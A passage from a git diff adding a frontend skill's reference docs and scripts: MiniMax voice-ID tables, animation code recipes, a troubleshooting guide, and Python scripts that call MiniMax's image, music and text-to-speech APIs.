Entertainment, romance | +| `Indonesian_CalmWoman` | Calm Woman | Composed, peaceful female voice | Relaxation, meditation | +| `Indonesian_ConfidentWoman` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | +| `Indonesian_CaringMan` | Caring Man | Nurturing, supportive man voice | Supportive, family | +| `Indonesian_BossyLeader` | Bossy Leader | Commanding, authoritative leader voice | Leadership, drama | +| `Indonesian_DeterminedBoy` | Determined Boy | Ambitious, persistent boy voice | Youth, motivation | +| `Indonesian_GentleGirl` | Gentle Girl | Soft-spoken, kind girl voice | Calm, supportive | + +### German Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `German_FriendlyMan` | Friendly Man | Warm, approachable male voice | Casual, friendly | +| `German_SweetLady` | Sweet Lady | Pleasant, kind lady voice | Warm, supportive | +| `German_PlayfulMan` | Playful Man | Fun-loving, humorous male voice | Comedy, entertainment | + +### Russian Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Russian_HandsomeChildhoodFriend` | Handsome Childhood Friend | Charming childhood friend voice | Romance, nostalgia | +| `Russian_BrightHeroine` | Bright Queen | Lively, strong female lead voice | Drama, action | +| `Russian_AmbitiousWoman` | Ambitious Woman | Driven, determined woman voice | Professional, motivation | +| `Russian_ReliableMan` | Reliable Man | Trustworthy, dependable man voice | Professional, support | +| `Russian_CrazyQueen` | Crazy Girl | Wild, unpredictable female voice | Comedy, drama | +| `Russian_PessimisticGirl` | Pessimistic Girl | Gloomy, negative girl voice | Comedy, drama | +| `Russian_AttractiveGuy` | Attractive Guy | Charming, appealing male voice | Romance, entertainment | +| `Russian_Bad-temperedBoy` | Bad-tempered Boy | Irritable, grumpy boy voice | Comedy, drama | + +### Italian Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Italian_BraveHeroine` | Brave Heroine | Courageous, heroic female voice | Action, fantasy | +| `Italian_Narrator` | Narrator | Professional narrative voice | Documentaries, storytelling | +| `Italian_WanderingSorcerer` | Wandering Sorcerer | Mysterious, traveling magician voice | Fantasy, adventure | +| `Italian_DiligentLeader` | Diligent Leader | Hardworking, dedicated leader voice | Leadership, business | + +### Arabic Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Arabic_CalmWoman` | Calm Woman | Composed, peaceful female voice | Relaxation, meditation | +| `Arabic_FriendlyGuy` | Friendly Guy | Warm, approachable male voice | Casual, friendly | + +### Turkish Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Turkish_CalmWoman` | Calm Woman | Composed, peaceful female voice | Relaxation, meditation | +| `Turkish_Trustworthyman` | Trustworthy Man | Reliable, sincere male voice | Professional, business | + +### Ukrainian Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Ukrainian_CalmWoman` | Calm Woman | Composed, peaceful female voice | Relaxation, meditation | +| `Ukrainian_WiseScholar` | Wise Scholar | Knowledgeable, wise scholar voice | Educational, historical | + +### Dutch Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Dutch_kindhearted_girl` | Kind-hearted girl | Warm, compassionate girl voice | Children's content, warm | +| `Dutch_bossy_leader` | Bossy leader | Commanding, authoritative leader voice | Leadership, drama | + +### Vietnamese Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Vietnamese_kindhearted_girl` | Kind-hearted girl | Warm, compassionate girl voice | Children's content, warm | + +### Thai Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Thai_male_1_sample8` | Serene Man | Calm, peaceful male voice | Relaxation, meditation | +| `Thai_male_2_sample2` | Friendly Man | Warm, approachable male voice | Casual, friendly | +| `Thai_female_1_sample1` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | +| `Thai_female_2_sample2` | Energetic Woman | Active, lively female voice | Motivation, energy | + +### Polish Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Polish_male_1_sample4` | Male Narrator | Professional narrative voice | Documentaries, narration | +| `Polish_male_2_sample3` | Male Anchor | Professional male anchor voice | News, broadcasts | +| `Polish_female_1_sample1` | Calm Woman | Composed, peaceful female voice | Relaxation, meditation | +| `Polish_female_2_sample3` | Casual Woman | Relaxed, informal female voice | Casual, entertainment | + +### Romanian Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Romanian_male_1_sample2` | Reliable Man | Trustworthy, dependable man voice | Professional, support | +| `Romanian_male_2_sample1` | Energetic Youth | Active, lively young person voice | Youth, motivation | +| `Romanian_female_1_sample4` | Optimistic Youth | Positive, hopeful young person voice | Motivation, youth | +| `Romanian_female_2_sample1` | Gentle Woman | Soft-spoken, kind woman voice | Calm, supportive | + +### Greek Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `greek_male_1a_v1` | Thoughtful Mentor | Reflective, wise mentor voice | Educational, guidance | +| `Greek_female_1_sample1` | Gentle Lady | Soft-spoken, kind lady voice | Calm, supportive | +| `Greek_female_2_sample3` | Girl Next Door | Friendly, approachable girl voice | Casual, friendly | + +### Czech Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `czech_male_1_v1` | Assured Presenter | Confident, professional presenter voice | Presentations, broadcasts | +| `czech_female_5_v7` | Steadfast Narrator | Reliable, consistent narrator voice | Documentaries, storytelling | +| `czech_female_2_v2` | Elegant Lady | Graceful, refined lady voice | Formal, professional | + +### Finnish Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `finnish_male_3_v1` | Upbeat Man | Cheerful, energetic male voice | Motivation, entertainment | +| `finnish_male_1_v2` | Friendly Boy | Warm, approachable boy voice | Children's content, friendly | +| `finnish_female_4_v1` | Assertive Woman | Confident, strong female voice | Professional, empowerment | + +### Hindi Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `hindi_male_1_v2` | Trustworthy Advisor | Reliable, wise advisor voice | Guidance, advice | +| `hindi_female_2_v1` | Tranquil Woman | Calm, peaceful female voice | Relaxation, meditation | +| `hindi_female_1_v2` | News Anchor | Professional news anchor voice | News, broadcasts | + +--- + +## Voice Parameters + +### VoiceSetting Dataclass + +```python +from utils import VoiceSetting + +voice = VoiceSetting( + voice_id="male-qn-qingse", # Required: Voice ID + speed=1.0, # Optional: 0.5 (slower) to 2.0 (faster), default 1.0 + volume=1.0, # Optional: 0.1 (quieter) to 10.0 (louder), default 1.0 + pitch=0, # Optional: -12 (deeper) to 12 (higher), default 0 + emotion="calm", # Optional: happy, sad, angry, fearful, disgusted, surprised, calm, fluent, whisper +) +``` + +### Parameter Guidelines + +**Speed** +- 0.75: Slower, deliberate speech (news, tutorials) +- 1.0: Normal pace (most content) +- 1.25: Slightly faster (energetic content) +- 1.5+: Fast pace (time-sensitive content) + +**Volume** +- 0.8-1.0: Normal listening levels +- 1.0-1.5: Louder for attention-grabbing content +- < 0.8: Softer, intimate feeling + +**Pitch** +- -6 to -3: Deeper, more authoritative +- 0: Natural pitch +- +3 to +6: Higher, more energetic + +**Emotion** +- `calm`: Calm, neutral tone +- `fluent`: Fluent, natural tone +- `whisper`: Whisper, soft, gentle tone +- `happy`: Cheerful, upbeat tone +- `sad`: Melancholic, somber tone +- `angry`: Frustrated, intense tone +- `fearful`: Anxious, nervous tone +- `disgusted`: Repulsed, revolted tone +- `surprised`: Astonished, amazed tone + + +## Custom Voices + +### Voice Cloning + +Create custom voices from audio samples for unique brand voices. + +**Requirements:** +- Source audio: 10 seconds to 5 minutes +- Format: mp3, wav, m4a +- Size: Max 20MB +- Quality: Clear, no background noise, single speaker + +**Best Practices:** +- Use 30-60 seconds of clean speech +- Include varied intonation and emotion +- Record in quiet environment +- Consistent volume throughout + +### Voice Design + +Generate new voices through text descriptions for creative projects. + +**When to Use:** +- No existing voice matches your needs +- Need unique character voices +- Prototype before full voice cloning + +**Prompt Guidelines:** +- Include: gender, age, vocal characteristics, emotional tone, use case +- Be specific about pacing, tone, and intended audience +- Example: "A warm, grandmotherly voice with gentle pacing, perfect for bedtime stories" + diff --git a/skills/frontend-dev/references/motion-recipes.md b/skills/frontend-dev/references/motion-recipes.md new file mode 100644 index 0000000..589ae9b --- /dev/null +++ b/skills/frontend-dev/references/motion-recipes.md @@ -0,0 +1,407 @@ +# Motion Recipes + +Production-ready animation code snippets. Copy and adapt as needed. + +## 1. Scroll-Triggered Reveal (Framer Motion) + +Elements fade and slide up when entering viewport. + +```tsx +"use client"; +import { motion } from "framer-motion"; + +const fadeSlideUp = { + hidden: { opacity: 0, y: 40 }, + visible: { + opacity: 1, + y: 0, + transition: { type: "spring", stiffness: 100, damping: 20 }, + }, +}; + +export function RevealSection({ children }: { children: React.ReactNode }) { + return ( + <motion.div + variants={fadeSlideUp} + initial="hidden" + whileInView="visible" + viewport={{ once: true, margin: "-80px" }} + > + {children} + </motion.div> + ); +} +``` + +## 2. Staggered List Orchestration (Framer Motion) + +Children animate sequentially with blur effect. + +```tsx +"use client"; +import { motion } from "framer-motion"; + +const container = { + hidden: {}, + visible: { transition: { staggerChildren: 0.08, delayChildren: 0.1 } }, +}; + +const item = { + hidden: { opacity: 0, y: 24, filter: "blur(4px)" }, + visible: { + opacity: 1, + y: 0, + filter: "blur(0px)", + transition: { type: "spring", stiffness: 120, damping: 20 }, + }, +}; + +export function StaggerGrid({ items }: { items: React.ReactNode[] }) { + return ( + <motion.div + className="grid gap-6" + variants={container} + initial="hidden" + whileInView="visible" + viewport={{ once: true }} + > + {items.map((child, i) => ( + <motion.div key={i} variants={item}> + {child} + </motion.div> + ))} + </motion.div> + ); +} +``` + +## 3. GSAP ScrollTrigger Pinned Section + +Horizontal scroll panels with pinning. + +```tsx +"use client"; +import { useRef, useEffect } from "react"; +import gsap from "gsap"; +import { ScrollTrigger } from "gsap/ScrollTrigger"; + +gsap.registerPlugin(ScrollTrigger); + +export function PinnedTimeline() { + const containerRef = useRef<HTMLDivElement>(null); + const panelsRef = useRef<HTMLDivElement>(null); + + useEffect(() => { + const ctx = gsap.context(() => { + const panels = gsap.utils.toArray<HTMLElement>(".panel"); + gsap.to(panels, { + xPercent: -100 * (panels.length - 1), + ease: "none", + scrollTrigger: { + trigger: containerRef.current, + pin: true, + scrub: 1, + end: () => "+=" + (panelsRef.current?.scrollWidth ?? 0), + }, + }); + }, containerRef); + + return () => ctx.revert(); // CRITICAL: full cleanup + }, []); + + return ( + <div ref={containerRef} className="overflow-hidden"> + <div ref={panelsRef} className="flex"> + {/* .panel elements */} + </div> + </div> + ); +} +``` + +## 4. Parallax Tilt Card (Framer Motion) + +Mouse-tracking 3D perspective. Uses `useMotionValue` — never `useState`. + +```tsx +"use client"; +import { motion, useMotionValue, useTransform } from "framer-motion"; + +export function TiltCard({ children }: { children: React.ReactNode }) { + const x = useMotionValue(0.5); + const y = useMotionValue(0.5); + const rotateX = useTransform(y, [0, 1], [8, -8]); + const rotateY = useTransform(x, [0, 1], [-8, 8]); + + return ( + <motion.div + style={{ rotateX, rotateY, transformPerspective: 800 }} + onMouseMove={(e) => { + const rect = e.currentTarget.getBoundingClientRect(); + x.set((e.clientX - rect.left) / rect.width); + y.set((e.clientY - rect.top) / rect.height); + }} + onMouseLeave={() => { + x.set(0.5); + y.set(0.5); + }} + className="rounded-2xl bg-white shadow-lg" + > + {children} + </motion.div> + ); +} +``` + +## 5. Magnetic Button (Framer Motion) + +Cursor-attracted button. Pure `useMotionValue` — zero re-renders. + +```tsx +"use client"; +import { motion, useMotionValue, useSpring } from "framer-motion"; +import { useRef } from "react"; + +export function MagneticButton({ children }: { children: React.ReactNode }) { + const ref = useRef<HTMLButtonElement>(null); + const x = useMotionValue(0); + const y = useMotionValue(0); + const springX = useSpring(x, { stiffness: 200, damping: 15 }); + const springY = useSpring(y, { stiffness: 200, damping: 15 }); + + return ( + <motion.button + ref={ref} + style={{ x: springX, y: springY }} + onMouseMove={(e) => { + const rect = ref.current!.getBoundingClientRect(); + const dx = e.clientX - (rect.left + rect.width / 2); + const dy = e.clientY - (rect.top + rect.height / 2); + x.set(dx * 0.3); + y.set(dy * 0.3); + }} + onMouseLeave={() => { + x.set(0); + y.set(0); + }} + > + {children} + </motion.button> + ); +} +``` + +## 6. Text Scramble / Decode Effect + +Matrix-style character reveal — pure JS, no library needed. + +```tsx +"use client"; +import { useEffect, useRef, useState } from "react"; + +const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + +export function TextScramble({ text, className }: { text: string; className?: string }) { + const [display, setDisplay] = useState(text); + const iteration = useRef(0); + + useEffect(() => { + iteration.current = 0; + const id = setInterval(() => { + setDisplay( + text + .split("") + .map((char, i) => + i < iteration.current ? char : chars[Math.floor(Math.random() * chars.length)] + ) + .join("") + ); + iteration.current += 1 / 3; + if (iteration.current >= text.length) clearInterval(id); + }, 30); + return () => clearInterval(id); + }, [text]); + + return <span className={className}>{display}</span>; +} +``` + +## 7. SVG Path Draw on Scroll (CSS Scroll-Driven) + +Zero-JS scroll-linked path drawing using native CSS. + +```css +@supports (animation-timeline: scroll()) { + .draw-path { + stroke-dasharray: 1; + stroke-dashoffset: 1; + animation: draw linear; + animation-timeline: scroll(); + animation-range: entry 0% cover 60%; + } + + @keyframes draw { + to { + stroke-dashoffset: 0; + } + } +} +``` + +## 8. Horizontal Scroll Hijack (GSAP) + +Vertical scroll drives horizontal panning. + +```tsx +"use client"; +import { useRef, useEffect } from "react"; +import gsap from "gsap"; +import { ScrollTrigger } from "gsap/ScrollTrigger"; + +gsap.registerPlugin(ScrollTrigger); + +export function HorizontalScroll({ children }: { children: React.ReactNode }) { + const sectionRef = useRef<HTMLDivElement>(null); + const trackRef = useRef<HTMLDivElement>(null); + + useEffect(() => { + const ctx = gsap.context(() => { + const track = trackRef.current!; + const scrollWidth = track.scrollWidth - window.innerWidth; + gsap.to(track, { + x: -scrollWidth, + ease: "none", + scrollTrigger: { + trigger: sectionRef.current, + pin: true, + scrub: 0.8, + end: () => `+=${scrollWidth}`, + }, + }); + }, sectionRef); + return () => ctx.revert(); + }, []); + + return ( + <section ref={sectionRef} className="overflow-hidden"> + <div ref={trackRef} className="flex gap-8 w-max"> + {children} + </div> + </section> + ); +} +``` + +## 9. Particle Background (React Three Fiber) + +Isolated canvas layer. Purely decorative, pointer-events-none. + +```tsx +"use client"; +import { Canvas, useFrame } from "@react-three/fiber"; +import { useRef, useMemo } from "react"; +import * as THREE from "three"; + +function Particles({ count = 800 }) { + const mesh = useRef<THREE.Points>(null); + const positions = useMemo(() => { + const arr = new Float32Array(count * 3); + for (let i = 0; i < count * 3; i++) arr[i] = (Math.random() - 0.5) * 10; + return arr; + }, [count]); + + useFrame(({ clock }) => { + if (mesh.current) mesh.current.rotation.y = clock.getElapsedTime() * 0.05; + }); + + return ( + <points ref={mesh}> + <bufferGeometry> + <bufferAttribute attach="attributes-position" args={[positions, 3]} /> + </bufferGeometry> + <pointsMaterial size={0.015} color="#94a3b8" transparent opacity={0.6} /> + </points> + ); +} + +export function ParticleCanvas() { + return ( + <div className="fixed inset-0 -z-10 pointer-events-none"> + <Canvas camera={{ position: [0, 0, 5], fov: 60 }}> + <Particles /> + </Canvas> + </div> + ); +} +``` + +## 10. Shared Layout Morph (Framer Motion) + +Card-to-modal expansion using `layoutId`. + +```tsx +"use client"; +import { motion, AnimatePresence } from "framer-motion"; +import { useState } from "react"; + +export function MorphCard({ id, preview, detail }: { + id: string; + preview: React.ReactNode; + detail: React.ReactNode; +}) { + const [open, setOpen] = useState(false); + return ( + <> + <motion.div layoutId={`card-${id}`} onClick={() => setOpen(true)} + className="cursor-pointer rounded-2xl bg-white p-6 shadow-md"> + {preview} + </motion.div> + + <AnimatePresence> + {open && ( + <> + <motion.div + initial={{ opacity: 0 }} animate={{ opacity: 1 }} exit={{ opacity: 0 }} + className="fixed inset-0 bg-black/40 z-40" + onClick={() => setOpen(false)} + /> + <motion.div layoutId={`card-${id}`} + className="fixed inset-4 md:inset-20 z-50 rounded-2xl bg-white p-8 shadow-2xl overflow-auto"> + {detail} + </motion.div> + </> + )} + </AnimatePresence> + </> + ); +} +``` + +## Scroll Animation Patterns + +### Sticky Scroll Stack +Cards pin to top and stack over each other. +- Each card: `position: sticky; top: calc(var(--index) * 2rem)` +- Depth illusion: `scale(calc(1 - var(--index) * 0.03))` + +### Split-Screen Parallax +Two viewport halves scroll at different speeds. +- Left: `translateY` at 0.5x scroll speed (GSAP `scrub`) +- Mobile: collapse to single column, disable parallax + +### Zoom Parallax +Hero image scales 1 to 1.5 on scroll. +```tsx +scrollTrigger: { trigger: heroRef, start: "top top", end: "bottom top", scrub: true } +gsap.to(imageRef, { scale: 1.5, ease: "none" }); +``` + +### Text Mask Reveal +Large typography as window into video/image background. +- `background-clip: text` + `color: transparent` +- Animate `background-position` on scroll + +### Curtain Reveal +Hero splits in half, each side slides away on scroll. +- Two halves clipped with `clip-path: inset(0 50% 0 0)` and `inset(0 0 0 50%)` +- GSAP animates `xPercent: -100` and `xPercent: 100` diff --git a/skills/frontend-dev/references/troubleshooting.md b/skills/frontend-dev/references/troubleshooting.md new file mode 100644 index 0000000..464edad --- /dev/null +++ b/skills/frontend-dev/references/troubleshooting.md @@ -0,0 +1,85 @@ +# Troubleshooting + +## Quick reference + +| Error | Cause | Fix | +|-------|-------|-----| +| `MINIMAX_API_KEY is not set` | Key not set | `export MINIMAX_API_KEY="key"` | +| `401 Unauthorized` | Invalid/expired key | Check key validity | +| `429 Too Many Requests` | Rate limit | Add delays between requests | +| `TimeoutError` | Network or long text | Use async TTS for long text, check network | +| `invalid params, method t2a-v2 not have model` | Wrong model name | Use `speech-2.8-hd` (hyphens, not underscores) | +| `brotli: decoder process called...` | Encoding issue | Already fixed in utils.py (Accept-Encoding header) | + +## Environment + +### API key not set + +```bash +export MINIMAX_API_KEY="<paste-your-key-here>" + +# Verify +echo $MINIMAX_API_KEY +``` + +### FFmpeg not found + +```bash +# macOS +brew install ffmpeg + +# Ubuntu +sudo apt install ffmpeg + +# Verify +ffmpeg -version +``` + +### Missing Python packages + +```bash +pip install requests +``` + +## API errors + +### Authentication (401) + +- Verify API key is correct and not expired +- Check for extra spaces in key value + +### Rate limiting (429) + +Add delays between requests: +```python +import time +for text in texts: + result = tts(text) + time.sleep(1) +``` + +### Invalid model name + +Valid names (use hyphens, must include -hd or -turbo): +- `speech-2.8-hd` (recommended) +- `speech-2.8-turbo` +- `speech-2.6-hd` +- `speech-2.6-turbo` + +Wrong: `speech_01`, `speech_2.6`, `speech-01` + +## Audio issues + +### Poor quality + +Re-generate with higher settings: +```bash +python scripts/minimax_tts.py "text" -o out.mp3 --sample-rate 32000 --model speech-2.8-hd +``` + +### Invalid emotion + +Valid emotions: +- All models: happy, sad, angry, fearful, disgusted, surprised, calm +- speech-2.6 only: + fluent, whisper +- speech-2.8: auto-matched (leave empty, recommended) diff --git a/skills/frontend-dev/scripts/minimax_image.py b/skills/frontend-dev/scripts/minimax_image.py new file mode 100755 index 0000000..53e7010 --- /dev/null +++ b/skills/frontend-dev/scripts/minimax_image.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Text-to-Image — synchronous generation. + +Usage: + python minimax_image.py "A cat in space" -o cat.png + python minimax_image.py "Mountain landscape" -o bg.png --ratio 16:9 + python minimax_image.py "Product icons" -o icons.png -n 4 --ratio 1:1 + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = "https://api.minimax.io/v1" + +ASPECT_RATIOS = ["1:1", "16:9", "4:3", "3:2", "2:3", "3:4", "9:16", "21:9"] + + +def _headers(): + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + return { + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + } + + +def generate_image( + prompt: str, + model: str = "image-01", + aspect_ratio: str = "1:1", + n: int = 1, + response_format: str = "url", + prompt_optimizer: bool = False, + seed: int = None, +) -> dict: + """Generate image(s). Returns API response dict.""" + payload = { + "model": model, + "prompt": prompt, + "aspect_ratio": aspect_ratio, + "n": n, + "response_format": response_format, + "prompt_optimizer": prompt_optimizer, + } + if seed is not None: + payload["seed"] = seed + + resp = requests.post( + f"{API_BASE}/image_generation", + headers=_headers(), + json=payload, + timeout=120, + ) + resp.raise_for_status() + data = resp.json() + + base_resp = data.get("base_resp", {}) + if base_resp.get("status_code", 0) != 0: + raise SystemExit(f"API Error [{base_resp.get('status_code')}]: {base_resp.get('status_msg')}") + + return data + + +def download_and_save(url: str, output_path: str): + """Download image from URL and save.""" + resp = requests.get(url, timeout=60) + resp.raise_for_status() + with open(output_path, "wb") as f: + f.write(resp.content) + return len(resp.content) + + +def main(): + p = argparse.ArgumentParser(description="MiniMax Text-to-Image") + p.add_argument("prompt", help="Image description (max 1500 chars)") + p.add_argument("-o", "--output", required=True, help="Output file path (.png/.jpg)") + p.add_argument("--model", default="image-01", help="Model (default: image-01)") + p.add_argument("--ratio", default="1:1", choices=ASPECT_RATIOS, help="Aspect ratio (default: 1:1)") + p.add_argument("-n", "--count", type=int, default=1, choices=range(1, 10), help="Number of images (1-9, default: 1)") + p.add_argument("--seed", type=int, default=None, help="Random seed for reproducibility") + p.add_argument("--optimize", action="store_true", help="Enable prompt auto-optimization") + p.add_argument("--base64", action="store_true", help="Use base64 response instead of URL") + args = p.parse_args() + + os.makedirs(os.path.dirname(args.output) or ".", exist_ok=True) + + fmt = "base64" if args.base64 else "url" + result = generate_image( + prompt=args.prompt, + model=args.model, + aspect_ratio=args.ratio, + n=args.count, + response_format=fmt, + prompt_optimizer=args.optimize, + seed=args.seed, + ) + + meta = result.get("metadata", {}) + print(f"Generated: {meta.get('success_count', '?')} success, {meta.get('failed_count', '?')} failed") + + if args.base64: + images = result.get("data", {}).get("image_base64", []) + import base64 + for i, b64 in enumerate(images): + path = args.output if len(images) == 1 else _numbered_path(args.output, i) + raw = base64.b64decode(b64) + with open(path, "wb") as f: + f.write(raw) + print(f"OK: {len(raw)} bytes -> {path}") + else: + urls = result.get("data", {}).get("image_urls", []) + for i, url in enumerate(urls): + path = args.output if len(urls) == 1 else _numbered_path(args.output, i) + size = download_and_save(url, path) + print(f"OK: {size} bytes -> {path}") + + +def _numbered_path(path: str, index: int) -> str: + """Insert index before extension: out.png -> out-0.png""" + base, ext = os.path.splitext(path) + return f"{base}-{index}{ext}" + + +if __name__ == "__main__": + main() diff --git a/skills/frontend-dev/scripts/minimax_music.py b/skills/frontend-dev/scripts/minimax_music.py new file mode 100644 index 0000000..54d531a --- /dev/null +++ b/skills/frontend-dev/scripts/minimax_music.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Music Generation (HTTP) +Self-contained: no external dependencies beyond `requests`. + +Usage: + python minimax_music.py --prompt "Indie folk, melancholic" --lyrics "[verse]\nStreetlights flicker" -o song.mp3 + python minimax_music.py --prompt "Upbeat pop, energetic" --auto-lyrics -o pop.mp3 + python minimax_music.py --prompt "Jazz piano, smooth, relaxing" --instrumental -o jazz.mp3 + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = os.getenv("MINIMAX_API_BASE", "https://api.minimax.io/v1") + + +def generate_music( + prompt: str = "", + lyrics: str = "", + model: str = "music-2.5+", + is_instrumental: bool = False, + lyrics_optimizer: bool = False, + sample_rate: int = 44100, + bitrate: int = 256000, + fmt: str = "mp3", + output_format: str = "hex", + timeout: int = 600, +) -> dict: + """Synchronous HTTP music generation. Returns dict with audio bytes and metadata.""" + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + + payload = { + "model": model, + "audio_setting": { + "sample_rate": sample_rate, + "bitrate": bitrate, + "format": fmt, + }, + "output_format": output_format, + } + + if prompt: + payload["prompt"] = prompt + if lyrics: + payload["lyrics"] = lyrics + if is_instrumental: + payload["is_instrumental"] = True + if lyrics_optimizer: + payload["lyrics_optimizer"] = True + + resp = requests.post( + f"{API_BASE}/music_generation", + headers={ + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + }, + json=payload, + timeout=timeout, + ) + resp.raise_for_status() + data = resp.json() + + # Check API-level error + base_resp = data.get("base_resp", {}) + if base_resp.get("status_code", 0) != 0: + raise SystemExit(f"API Error [{base_resp.get('status_code')}]: {base_resp.get('status_msg')}") + + status = data.get("data", {}).get("status") + if status != 2: + raise SystemExit(f"Generation incomplete (status={status}): {json.dumps(data, indent=2)}") + + audio_data = data.get("data", {}).get("audio", "") + if not audio_data: + raise SystemExit(f"No audio in response: {json.dumps(data, indent=2)}") + + extra = data.get("extra_info", {}) + + if output_format == "hex": + audio_bytes = bytes.fromhex(audio_data) + else: + # URL mode — audio_data is a URL string + audio_bytes = None + + return { + "audio_bytes": audio_bytes, + "audio_url": audio_data if output_format == "url" else None, + "duration": extra.get("music_duration"), + "sample_rate": extra.get("music_sample_rate"), + "channels": extra.get("music_channel"), + "bitrate": extra.get("bitrate"), + "size": extra.get("music_size"), + } + + +def main(): + p = argparse.ArgumentParser(description="MiniMax Music Generation (HTTP)") + p.add_argument("-o", "--output", required=True, help="Output file path") + p.add_argument("--prompt", default="", help="Music description: style, mood, scenario (max 2000 chars)") + p.add_argument("--lyrics", default="", help="Song lyrics with structure tags (max 3500 chars)") + p.add_argument("--lyrics-file", default="", help="Read lyrics from file instead of --lyrics") + p.add_argument("--model", default="music-2.5+", choices=["music-2.5+", "music-2.5"], help="Model (default: music-2.5+)") + p.add_argument("--instrumental", action="store_true", help="Generate instrumental only (no vocals)") + p.add_argument("--auto-lyrics", action="store_true", help="Auto-generate lyrics from prompt") + p.add_argument("--format", default="mp3", dest="fmt", choices=["mp3", "wav", "pcm"], help="Audio format (default: mp3)") + p.add_argument("--sample-rate", type=int, default=44100, choices=[16000, 24000, 32000, 44100], help="Sample rate (default: 44100)") + p.add_argument("--bitrate", type=int, default=256000, choices=[32000, 64000, 128000, 256000], help="Bitrate (default: 256000)") + args = p.parse_args() + + lyrics = args.lyrics + if args.lyrics_file: + with open(args.lyrics_file, "r") as f: + lyrics = f.read() + + os.makedirs(os.path.dirname(args.output) or ".", exist_ok=True) + + result = generate_music( + prompt=args.prompt, + lyrics=lyrics, + model=args.model, + is_instrumental=args.instrumental, + lyrics_optimizer=args.auto_lyrics, + sample_rate=args.sample_rate, + bitrate=args.bitrate, + fmt=args.fmt, + ) + + if result["audio_bytes"]: + with open(args.output, "wb") as f: + f.write(result["audio_bytes"]) + size = len(result["audio_bytes"]) + else: + # URL mode — download + r = requests.get(result["audio_url"], timeout=120) + r.raise_for_status() + with open(args.output, "wb") as f: + f.write(r.content) + size = len(r.content) + + duration = result.get("duration", "?") + print(f"OK: {size} bytes -> {args.output} (duration: {duration}s)") + + +if __name__ == "__main__": + main() diff --git a/skills/frontend-dev/scripts/minimax_tts.py b/skills/frontend-dev/scripts/minimax_tts.py new file mode 100755 index 0000000..9f78d67 --- /dev/null +++ b/skills/frontend-dev/scripts/minimax_tts.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Sync TTS (HTTP) +Self-contained: no external dependencies beyond `requests`. + +Usage: + python minimax_tts.py "Hello world" -o output.mp3 + python minimax_tts.py "你好世界" -o hi.mp3 -v female-shaonv --model speech-2.8-hd + python minimax_tts.py "Welcome" -o out.wav -v male-qn-jingying --speed 0.8 --format wav + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = os.getenv("MINIMAX_API_BASE", "https://api.minimax.io/v1") + + +def tts( + text: str, + voice_id: str = "male-qn-qingse", + model: str = "speech-2.8-hd", + speed: float = 1.0, + volume: float = 1.0, + pitch: int = 0, + emotion: str = "", + sample_rate: int = 32000, + bitrate: int = 128000, + fmt: str = "mp3", + language_boost: str = "auto", + timeout: int = 120, +) -> bytes: + """Synchronous HTTP TTS. Returns raw audio bytes.""" + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + + voice_setting = {"voice_id": voice_id, "speed": speed, "vol": volume, "pitch": pitch} + if emotion: + voice_setting["emotion"] = emotion + + payload = { + "model": model, + "text": text, + "stream": False, + "voice_setting": voice_setting, + "audio_setting": { + "sample_rate": sample_rate, + "bitrate": bitrate, + "format": fmt, + "channel": 1, + }, + "language_boost": language_boost, + "output_format": "hex", + } + + resp = requests.post( + f"{API_BASE}/t2a_v2", + headers={ + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + }, + json=payload, + timeout=timeout, + ) + resp.raise_for_status() + data = resp.json() + + # Check API-level error + base_resp = data.get("base_resp", {}) + if base_resp.get("status_code", 0) != 0: + raise SystemExit(f"API Error [{base_resp.get('status_code')}]: {base_resp.get('status_msg')}") + + audio_hex = data.get("data", {}).get("audio", "") + if not audio_hex: + raise SystemExit(f"No audio in response: {json.dumps(data, indent=2)}") + + return bytes.fromhex(audio_hex) + + +def main(): + p = argparse.ArgumentParser(description="MiniMax Sync TTS (HTTP)") + p.add_argument("text", help="Text to synthesize (max 10000 chars)") + p.add_argument("-o", "--output", required=True, help="Output file path") + p.add_argument("-v", "--voice", default="male-qn-qingse", help="Voice ID") + p.add_argument("--model", default="speech-2.8-hd", help="Model (default: speech-2.8-hd)") + p.add_argument("--speed", type=float, default=1.0, help="Speed 0.5-2.0") + 